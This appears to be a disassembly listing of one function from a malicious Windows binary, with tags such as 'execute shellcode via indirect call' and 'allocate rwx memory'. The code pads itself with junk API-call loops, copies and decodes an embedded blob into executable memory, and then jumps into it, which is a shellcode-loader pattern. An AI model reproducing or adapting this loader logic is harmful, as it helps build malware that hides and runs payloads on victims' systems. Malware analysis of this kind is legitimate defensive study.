Function at 0x403650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x447388
push eax
mov dword fs:[0], esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403680
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x403694
inc esi
cmp esi, 0x73f04bd
jl 0x403680
cmp dword [0x45874c], 0x400
jne 0x4036d1
push ebx
lea eax, [ebp - 0x434]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00404766
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404630
fstp st(0)
add esp, 0x10
cmp dword [0x45874c], 0x93
jne 0x40376c
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0x402d58
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x402d7c
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.004047b0
add esp, 4
push eax
push 0x402d7c
lea ecx, [ebp - 0x30]
call fcn.00403ef0
push ebx
mov dword [ebp - 4], ebx
call fcn.00404938
add esp, 4
push ebx
push ebx
call fcn.00404967
add esp, 8
call fcn.004044bc
call fcn.00403640
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x40376c
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00404972
add esp, 4
mov eax, dword [0x45874c]
mov edx, dword [0x44cae4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x459588], edx
mov dword [0x45874c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x4581dc], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x4037a6
cmp dword [0x45874c], ebx
jbe 0x40381c
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x459588]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x4581dc]
mov byte [edx + esi], cl
cmp dword [0x45874c], 0x490
jne 0x403811
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0x402d98
call ebx
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x45874c]
jb 0x4037c1
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov eax, dword [0x45874c]
add eax, esi
cmp eax, 0x8d
jne 0x40385f
push 0
lea ecx, [ebp - 0x834]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x40382a
call fcn.00403510
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.USER32.dll_GetAltTabInfoW]
xor esi, esi
jmp 0x403880
cmp esi, 0xfa62c8f
jge 0x403896
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x4038a7
inc esi
cmp esi, 0x67d12
jl 0x403880
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
nop
call edi
cmp esi, 0x61
jne 0x4038ce
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], 0x112ef
mov eax, dword [ebp - 0x10]
add dword [0x4581dc], eax
inc esi
cmp esi, 0x674bd
jl 0x4038b0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45874c], 0x86
jne 0x403925
push 0x402de0
call esi
push 0
lea ecx, [ebp - 0x434]
push ecx
push 0x402e2c
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45874c], 0xf
jne 0x40393a
push 0
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x4038f0
call fcn.004031a0
call dword [0x4581dc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret